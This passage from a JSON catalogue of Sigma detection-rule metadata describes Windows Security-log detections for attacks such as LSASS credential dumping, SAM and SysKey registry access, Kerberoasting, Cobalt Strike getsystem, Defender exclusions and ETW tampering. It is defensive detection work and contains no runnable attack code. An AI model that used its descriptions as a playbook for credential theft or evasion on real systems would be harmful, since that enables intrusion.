driver.\nWith this privilege, the user can dynamically load and unload device drivers or other code in to kernel mode.\nThis user right does not apply to Plug and Play device drivers.\nIf you exclude privileged users/admins and processes, which are allowed to do so, you are maybe left with bad programs trying to load malicious kernel drivers.\nThis will detect Ghost-In-The-Logs (https://github.com/bats3c/Ghost-In-The-Logs) and the usage of Sysinternals and various other tools. So you have to work with a whitelist to find the bad stuff.\n", "meta": { "author": "xknow (@xknow_infosec), xorxes (@xor_xes)", "creation_date": "2019/04/08", "falsepositive": [ "Other legimate tools loading drivers. Including but not limited to, Sysinternals, CPU-Z, AVs etc. A baseline needs to be created according to the used products and allowed tools. A good thing to do is to try and exclude users who are allowed to load drivers." ], "filename": "win_security_user_driver_loaded.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://blog.dylan.codes/evading-sysmon-and-windows-event-logging/", "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4673", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_user_driver_loaded.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "f63508a0-c809-4435-b3be-ed819394d612", "value": "Potential Privileged System Service Operation - SeLoadDriverPrivilege" }, { "description": "Detects Obfuscated use of Environment Variables to execute PowerShell", "meta": { "author": "Jonathan Cheong, oscd.community", "creation_date": "2020/10/15", "falsepositive": [ "Unknown" ], "filename": "win_security_invoke_obfuscation_var_services_security.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/issues/1009", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_var_services_security.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "dcf2db1f-f091-425b-a821-c05875b8925a", "value": "Invoke-Obfuscation VAR+ Launcher - Security" }, { "description": "Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service installation", "meta": { "author": "Teymur Kheirkhabarov, Ecco, Florian Roth", "creation_date": "2019/10/26", "falsepositive": [ "Highly unlikely" ], "filename": "win_security_meterpreter_or_cobaltstrike_getsystem_service_install.yml", "level": "critical", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", "https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_meterpreter_or_cobaltstrike_getsystem_service_install.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1134.001", "attack.t1134.002" ] }, "related": [ { "dest-uuid": "86850eff-2729-40c3-b85e-c4af26da4a2d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "677569f9-a8b0-459e-ab24-7f18091fa7bf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "ecbc5e16-58e0-4521-9c60-eb9a7ea4ad34", "value": "Meterpreter or Cobalt Strike Getsystem Service Installation - Security" }, { "description": "Detects logon events that have characteristics of events generated during an attack with RottenPotato and the like", "meta": { "author": "@SBousseaden, Florian Roth", "creation_date": "2019/11/15", "falsepositive": [ "Unknown" ], "filename": "win_security_susp_rottenpotato.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://twitter.com/SBousseaden/status/1195284233729777665", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_rottenpotato.yml" ], "tags": [ "attack.privilege_escalation", "attack.credential_access", "attack.t1557.001" ] }, "related": [ { "dest-uuid": "650c784b-7504-4df7-ab2c-4ea882384d1e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "16f5d8ca-44bd-47c8-acbe-6fc95a16c12f", "value": "RottenPotato Like Attack Pattern" }, { "description": "Detects service ticket requests using RC4 encryption type", "meta": { "author": "Florian Roth", "creation_date": "2017/02/06", "falsepositive": [ "Service accounts used on legacy systems (e.g. NetApp)", "Windows Domains with DFL 2003 and legacy systems" ], "filename": "win_security_susp_rc4_kerberos.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://www.trimarcsecurity.com/single-post/TrimarcResearch/Detecting-Kerberoasting-Activity", "https://adsecurity.org/?p=3458", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_rc4_kerberos.yml" ], "tags": [ "attack.credential_access", "attack.t1558.003" ] }, "uuid": "496a0e47-0a33-4dca-b009-9e6ca3591f39", "value": "Suspicious Kerberos RC4 Ticket Encryption" }, { "description": "Detect potential adversaries leveraging WMI ActiveScriptEventConsumers remotely to move laterally in a network", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", "creation_date": "2020/09/02", "falsepositive": [ "SCCM" ], "filename": "win_security_scrcons_remote_wmi_scripteventconsumer.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://threathunterplaybook.com/notebooks/windows/08_lateral_movement/WIN-200902020333.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_scrcons_remote_wmi_scripteventconsumer.yml" ], "tags": [ "attack.lateral_movement", "attack.privilege_escalation", "attack.persistence", "attack.t1546.003" ] }, "related": [ { "dest-uuid": "910906dd-8c0a-475a-9cc1-5e029e2fad58", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "9599c180-e3a8-4743-8f92-7fb96d3be648", "value": "Remote WMI ActiveScriptEventConsumers" }, { "description": "Detects scenarios where an windows defender exclusion was added in registry where an entity would want to bypass antivirus scanning from windows defender", "meta": { "author": "@BarryShooshooga", "creation_date": "2019/10/26", "falsepositive": [ "Intended inclusions by administrator" ], "filename": "win_security_defender_bypass.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://www.bleepingcomputer.com/news/security/gootkit-malware-bypasses-windows-defender-by-setting-path-exclusions/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_defender_bypass.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "e9c8808f-4cfb-4ba9-97d4-e5f3beaa244d", "value": "Windows Defender Exclusion Set" }, { "description": "Detects known sensitive file extensions accessed on a network share", "meta": { "author": "Samir Bousseaden", "creation_date": "2019/04/03", "falsepositive": [ "Help Desk operator doing backup or re-imaging end user machine or backup software", "Users working with these data types or exchanging message files" ], "filename": "win_security_susp_raccess_sensitive_fext.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_raccess_sensitive_fext.yml" ], "tags": [ "attack.collection", "attack.t1039" ] }, "uuid": "91c945bc-2ad1-4799-a591-4d00198a1215", "value": "Suspicious Access to Sensitive File Extensions" }, { "description": "Detects external diskdrives or plugged in USB devices , EventID 6416 on windows 10 or later", "meta": { "author": "Keith Wright", "creation_date": "2019/11/20", "falsepositive": [ "Legitimate administrative activity" ], "filename": "win_security_external_device.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_external_device.yml" ], "tags": [ "attack.t1091", "attack.t1200", "attack.lateral_movement", "attack.initial_access" ] }, "related": [ { "dest-uuid": "3b744087-9945-4a6f-91e8-9dbceda417a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f69a87ea-955e-4fb4-adb2-bb9fd6685632", "value": "External Disk Drive Or USB Storage Device" }, { "description": "Detects the creation or removal of a computer. Can be used to detect attacks such as DCShadow via the creation of a new SPN.", "meta": { "author": "frack113", "creation_date": "2022/10/14", "falsepositive": [ "Unknown" ], "filename": "win_security_add_remove_computer.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md", "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4741", "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4743", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_add_remove_computer.yml" ], "tags": "No established tags" }, "uuid": "20d96d95-5a20-4cf1-a483-f3bda8a7c037", "value": "Add or Remove Computer from DC" }, { "description": "Detects non-system users performing privileged operation os the SCM database", "meta": { "author": "Roberto Rodriguez @Cyb3rWard0g, Tim Shelton", "creation_date": "2019/08/15", "falsepositive": [ "Unknown" ], "filename": "win_security_scm_database_privileged_operation.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://threathunterplaybook.com/notebooks/windows/07_discovery/WIN-190826010110.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_scm_database_privileged_operation.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1548" ] }, "related": [ { "dest-uuid": "67720091-eee3-4d2d-ae16-8264567f6f5b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "dae8171c-5ec6-4396-b210-8466585b53e9", "value": "SCM Database Privileged Operation" }, { "description": "Detects the creation of suspicious accounts similar to ANONYMOUS LOGON, such as using additional spaces. Created as an covering detection for exclusion of Logon Type 3 from ANONYMOUS LOGON accounts.", "meta": { "author": "James Pemberton / @4A616D6573", "creation_date": "2019/10/31", "falsepositive": [ "Unknown" ], "filename": "win_security_susp_local_anon_logon_created.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://twitter.com/SBousseaden/status/1189469425482829824", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_local_anon_logon_created.yml" ], "tags": [ "attack.persistence", "attack.t1136.001", "attack.t1136.002" ] }, "related": [ { "dest-uuid": "635cbe30-392d-4e27-978e-66774357c762", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "7610cada-1499-41a4-b3dd-46467b68d177", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "1bbf25b9-8038-4154-a50b-118f2a32be27", "value": "Suspicious Windows ANONYMOUS LOGON Local Account Created" }, { "description": "Detects when adversaries stop services or processes by deleting or disabling their respective schdueled tasks in order to conduct data destructive activities", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/12/05", "falsepositive": [ "Unknown" ], "filename": "win_security_susp_scheduled_task_delete.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4699", "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4701", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_scheduled_task_delete.yml" ], "tags": [ "attack.execution", "attack.privilege_escalation", "attack.persistence", "attack.t1053.005" ] }, "related": [ { "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7595ba94-cf3b-4471-aa03-4f6baa9e5fad", "value": "Important Scheduled Task Deleted/Disabled" }, { "description": "Detects rare scheduled tasks creations that only appear a few times per time frame and could reveal password dumpers, backdoor installs or other types of malicious code", "meta": { "author": "Florian Roth", "creation_date": "2017/03/23", "falsepositive": [ "Software installation", "Software updates" ], "filename": "win_security_rare_schtasks_creations.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_rare_schtasks_creations.yml" ], "tags": [ "attack.execution", "attack.privilege_escalation", "attack.persistence", "car.2013-08-001", "attack.t1053.005" ] }, "related": [ { "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b0d77106-7bb0-41fe-bd94-d1752164d066", "value": "Rare Schtasks Creations" }, { "description": "Detects access to a protected_storage service over the network. Potential abuse of DPAPI to extract domain backup keys from Domain Controllers", "meta": { "author": "Roberto Rodriguez @Cyb3rWard0g", "creation_date": "2019/08/10", "falsepositive": [ "Unknown" ], "filename": "win_security_protected_storage_service_access.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://threathunterplaybook.com/notebooks/windows/06_credential_access/WIN-190620024610.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_protected_storage_service_access.yml" ], "tags": [ "attack.lateral_movement", "attack.t1021.002" ] }, "uuid": "45545954-4016-43c6-855e-eae8f1c369dc", "value": "Protected Storage Service Access" }, { "description": "Detects powershell script installed as a Service", "meta": { "author": "oscd.community, Natalia Shornikova", "creation_date": "2020/10/06", "falsepositive": [ "Unknown" ], "filename": "win_security_powershell_script_installed_as_service.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_powershell_script_installed_as_service.yml" ], "tags": [ "attack.execution", "attack.t1569.002" ] }, "related": [ { "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "2a926e6a-4b81-4011-8a96-e36cc8c04302", "value": "PowerShell Scripts Installed as Services - Security" }, { "description": "Detects the use of a scanner by zerosum0x0 that discovers targets vulnerable to CVE-2019-0708 RDP RCE aka BlueKeep", "meta": { "author": "Florian Roth (rule), Adam Bradbury (idea)", "creation_date": "2019/06/02", "falsepositive": [ "Unlikely" ], "filename": "win_security_rdp_bluekeep_poc_scanner.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/zerosum0x0/CVE-2019-0708", "https://twitter.com/AdamTheAnalyst/status/1134394070045003776", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_rdp_bluekeep_poc_scanner.yml" ], "tags": [ "attack.lateral_movement", "attack.t1210", "car.2013-07-002" ] }, "related": [ { "dest-uuid": "9db0cf3a-a3c9-4012-8268-123b9db6fd82", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "8400629e-79a9-4737-b387-5db940ab2367", "value": "Scanner PoC for CVE-2019-0708 RDP RCE Vuln" }, { "description": "This event is generated when an authenticated user who is not allowed to log on remotely attempts to connect to this computer through Remote Desktop.\nOften, this event can be generated by attackers when searching for available windows servers in the network.\n", "meta": { "author": "Pushkarev Dmitry", "creation_date": "2020/06/27", "falsepositive": [ "Valid user was not added to RDP group" ], "filename": "win_security_not_allowed_rdp_access.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=4825", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_not_allowed_rdp_access.yml" ], "tags": [ "attack.lateral_movement", "attack.t1021.001" ] }, "uuid": "8e5c03fa-b7f0-11ea-b242-07e0576828d9", "value": "Denied Access To Remote Desktop" }, { "description": "Rule to detect the Hybrid Connection Manager service installation.", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", "creation_date": "2021/04/12", "falsepositive": [ "Legitimate use of Hybrid Connection Manager via Azure function apps." ], "filename": "win_security_hybridconnectionmgr_svc_installation.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://twitter.com/Cyb3rWard0g/status/1381642789369286662", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_hybridconnectionmgr_svc_installation.yml" ], "tags": [ "attack.persistence", "attack.t1554" ] }, "related": [ { "dest-uuid": "960c3c86-1480-4d72-b4e0-8c242e84a5c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "0ee4d8a5-4e67-4faf-acfa-62a78457d1f2", "value": "HybridConnectionManager Service Installation" }, { "description": "Detects suspicious failed logins with different user accounts from a single source system", "meta": { "author": "Florian Roth", "creation_date": "2017/01/10", "falsepositive": [ "Terminal servers", "Jump servers", "Other multiuser systems like Citrix server farms", "Workstations with frequently changing users" ], "filename": "win_security_susp_failed_logons_single_source.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logons_single_source.yml" ], "tags": [ "attack.persistence", "attack.privilege_escalation", "attack.t1078" ] }, "uuid": "e98374a6-e2d9-4076-9b5c-11bdb2569995", "value": "Failed Logins with Different Accounts from Single Source System" }, { "description": "Detects Obfuscated Powershell via RUNDLL LAUNCHER", "meta": { "author": "Timur Zinniatullin, oscd.community", "creation_date": "2020/10/18", "falsepositive": [ "Unknown" ], "filename": "win_security_invoke_obfuscation_via_rundll_services_security.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/issues/1009", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_rundll_services_security.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f241cf1b-3a6b-4e1a-b4f9-133c00dd95ca", "value": "Invoke-Obfuscation RUNDLL LAUNCHER - Security" }, { "description": "Detect priv users or groups recon based on 4661 eventid and known privileged users or groups SIDs", "meta": { "author": "Samir Bousseaden", "creation_date": "2019/04/03", "falsepositive": [ "If source account name is not an admin then its super suspicious" ], "filename": "win_security_account_discovery.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://blog.menasec.net/2019/02/threat-hunting-5-detecting-enumeration.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_account_discovery.yml" ], "tags": [ "attack.discovery", "attack.t1087.002" ] }, "uuid": "35ba1d85-724d-42a3-889f-2e2362bcaf23", "value": "AD Privileged Users or Groups Reconnaissance" }, { "description": "Detects potential abuse of Active Directory Replication Service (ADRS) from a non machine account to request credentials.", "meta": { "author": "Roberto Rodriguez @Cyb3rWard0g", "creation_date": "2019/07/26", "falsepositive": [ "Unknown" ], "filename": "win_security_ad_replication_non_machine_account.yml", "level": "critical", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://threathunterplaybook.com/notebooks/windows/06_credential_access/WIN-180815210510.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_ad_replication_non_machine_account.yml" ], "tags": [ "attack.credential_access", "attack.t1003.006" ] }, "related": [ { "dest-uuid": "f303a39a-6255-4b89-aecc-18c4d8ca7163", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "17d619c1-e020-4347-957e-1d1207455c93", "value": "Active Directory Replication from Non Machine Account" }, { "description": "Detects the extraction of password protected ZIP archives. See the filename variable for more details on which file has been opened.", "meta": { "author": "Florian Roth", "creation_date": "2022/05/09", "falsepositive": [ "Legitimate used of encrypted ZIP files" ], "filename": "win_security_susp_opened_encrypted_zip_outlook.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://twitter.com/sbousseaden/status/1523383197513379841", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_opened_encrypted_zip_outlook.yml" ], "tags": "No established tags" }, "uuid": "571498c8-908e-40b4-910b-d2369159a3da", "value": "Password Protected ZIP File Opened (Email Attachment)" }, { "description": "Automatically lock workstation sessions after a standard period of inactivity.\nThe case is not applicable for Unix OS. Supported OS - Windows 2008 R2 and 7, Windows 2012 R2 and 8.1, Windows 2016 and 10 Windows Server 2019.\n", "meta": { "author": "Alexandr Yampolskyi, SOC Prime", "creation_date": "2019/03/26", "falsepositive": [ "Unknown" ], "filename": "win_security_workstation_was_locked.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://www.cisecurity.org/controls/cis-controls-list/", "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4800", "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf", "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_workstation_was_locked.yml" ], "tags": "No established tags" }, "uuid": "411742ad-89b0-49cb-a7b0-3971b5c1e0a4", "value": "Locked Workstation" }, { "description": "Detects multiple failed logins with multiple valid domain accounts from a single source system using the Kerberos protocol.", "meta": { "author": "Mauricio Velazco, frack113", "creation_date": "2021/06/01", "falsepositive": [ "Vulnerability scanners", "Misconfigured systems", "Remote administration tools", "VPN terminators", "Multiuser systems like Citrix server farms" ], "filename": "win_security_susp_failed_logons_single_source_kerberos.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logons_single_source_kerberos.yml" ], "tags": [ "attack.t1110.003", "attack.initial_access", "attack.privilege_escalation" ] }, "uuid": "5d1d946e-32e6-4d9a-a0dc-0ac022c7eb98", "value": "Valid Users Failing to Authenticate From Single Source Using Kerberos" }, { "description": "Potential adversaries stopping ETW providers recording loaded .NET assemblies.", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", "creation_date": "2020/06/05", "falsepositive": [ "Unknown" ], "filename": "win_security_dot_net_etw_tamper.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/dotnet/runtime/blob/f62e93416a1799aecc6b0947adad55a0d9870732/src/coreclr/src/inc/clrconfigvalues.h#L35-L38", "https://twitter.com/_xpn_/status/1268712093928378368", "http://managed670.rssing.com/chan-5590147/all_p1.html", "https://github.com/dotnet/runtime/search?p=1&q=COMPlus_&unscoped_q=COMPlus_", "https://i.blackhat.com/EU-21/Wednesday/EU-21-Teodorescu-Veni-No-Vidi-No-Vici-Attacks-On-ETW-Blind-EDRs.pdf", "https://github.com/dotnet/runtime/blob/ee2355c801d892f2894b0f7b14a20e6cc50e0e54/docs/design/coreclr/jit/viewing-jit-dumps.md#setting-configuration-variables", "https://github.com/dotnet/runtime/blob/7abe42dc1123722ed385218268bb9fe04556e3d3/src/coreclr/src/inc/clrconfig.h#L33-L39", "https://social.msdn.microsoft.com/Forums/vstudio/en-US/0878832e-39d7-4eaf-8e16-a729c4c40975/what-can-i-use-e13c0d23ccbc4e12931bd9cc2eee27e4-for?forum=clr", "https://bunnyinside.com/?term=f71e8cb9c76a", "https://github.com/dotnet/runtime/blob/4f9ae42d861fcb4be2fcd5d3d55d5f227d30e723/docs/coding-guidelines/clr-jit-coding-conventions.md#1412-disabling-code", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_dot_net_etw_tamper.yml" ], "tags": [ "attack.defense_evasion", "attack.t1112", "attack.t1562" ] }, "related": [ { "dest-uuid": "3d333250-30e4-4a82-9edc-756c68afc529", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a4c90ea1-2634-4ca0-adbb-35eae169b6fc", "value": "ETW Logging Disabled In .NET Processes - Registry" }, { "description": "Detects handles requested to SAM registry hive", "meta": { "author": "Roberto Rodriguez @Cyb3rWard0g", "creation_date": "2019/08/12", "falsepositive": [ "Unknown" ], "filename": "win_security_sam_registry_hive_handle_request.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://threathunterplaybook.com/notebooks/windows/07_discovery/WIN-190725024610.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_sam_registry_hive_handle_request.yml" ], "tags": [ "attack.discovery", "attack.t1012", "attack.credential_access", "attack.t1552.002" ] }, "related": [ { "dest-uuid": "341e222a-a6e3-4f6f-b69c-831d792b1580", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f8748f2c-89dc-4d95-afb0-5a2dfdbad332", "value": "SAM Registry Hive Handle Request" }, { "description": "Detects handle requests and access operations to specific registry keys to calculate the SysKey", "meta": { "author": "Roberto Rodriguez @Cyb3rWard0g", "creation_date": "2019/08/12", "falsepositive": [ "Unknown" ], "filename": "win_security_syskey_registry_access.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://threathunterplaybook.com/notebooks/windows/07_discovery/WIN-190625024610.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_syskey_registry_access.yml" ], "tags": [ "attack.discovery", "attack.t1012" ] }, "uuid": "9a4ff3b8-6187-4fd2-8e8b-e0eae1129495", "value": "SysKey Registry Keys Access" }, { "description": "Detects suspicious scheduled task creation events. Based on attributes such as paths, commands line flags, etc.", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/12/05", "falsepositive": [ "Unknown" ], "filename": "win_security_susp_scheduled_task_creation.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4698", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_scheduled_task_creation.yml" ], "tags": [ "attack.execution", "attack.privilege_escalation", "attack.persistence", "attack.t1053.005" ] }, "related": [ { "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "3a734d25-df5c-4b99-8034-af1ddb5883a4", "value": "Suspicious Scheduled Task Creation" }, { "description": "Detects svchost hosting RDP termsvcs communicating with the loopback address", "meta": { "author": "Samir Bousseaden", "creation_date": "2019/02/16", "falsepositive": [ "Programs that connect locally to the RDP port" ], "filename": "win_security_rdp_reverse_tunnel.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES/blob/44fbe85f72ee91582876b49678f9a26292a155fb/Command%20and%20Control/DE_RDP_Tunnel_5156.evtx", "https://twitter.com/SBousseaden/status/1096148422984384514", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_rdp_reverse_tunnel.yml" ], "tags": [ "attack.defense_evasion", "attack.command_and_control", "attack.lateral_movement", "attack.t1090.001", "attack.t1090.002", "attack.t1021.001", "car.2013-07-002" ] }, "related": [ { "dest-uuid": "f6dacc85-b37d-458e-b58d-74fc4bbf5755", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "69b8fd78-40e8-4600-ae4d-662c9d7afdb3", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "5bed80b6-b3e8-428e-a3ae-d3c757589e41", "value": "RDP over Reverse SSH Tunnel WFP" }, { "description": "This detection uses Windows security events to detect suspicious access attempts to the registry key values and sub-keys of Azure AD Health service agents (e.g AD FS).\nInformation from AD Health service agents can be used to potentially abuse some of the features provided by those services in the cloud (e.g. Federation).\nThis detection requires an access control entry (ACE) on the system access control list (SACL) of the following securable object: HKLM:\\SOFTWARE\\Microsoft\\ADHealthAgent.\nMake sure you set the SACL to propagate to its sub-keys.\n", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", "creation_date": "2021/08/26", "falsepositive": [ "Unknown" ], "filename": "win_security_aadhealth_svc_agent_regkey_access.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/OTRF/Set-AuditRule/blob/c3dec5443414231714d850565d364ca73475ade5/rules/registry/aad_connect_health_service_agent.yml", "https://o365blog.com/post/hybridhealthagent/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_aadhealth_svc_agent_regkey_access.yml" ], "tags": [ "attack.discovery", "attack.t1012" ] }, "uuid": "1d2ab8ac-1a01-423b-9c39-001510eae8e8", "value": "Azure AD Health Service Agents Registry Keys Access" }, { "description": "Detects process handle on LSASS process with certain access mask and object type SAM_DOMAIN", "meta": { "author": "sigma", "creation_date": "2017/02/12", "falsepositive": [ "Unknown" ], "filename": "win_security_susp_lsass_dump.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://twitter.com/jackcr/status/807385668833968128", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_lsass_dump.yml" ], "tags": [ "attack.credential_access", "attack.t1003.001" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "aa1697b7-d611-4f9a-9cb2-5125b4ccfd5c", "value": "Password Dumper Activity on LSASS" }, { "description": "Detects an access to authentication tokens and accounts of Microsoft Teams desktop 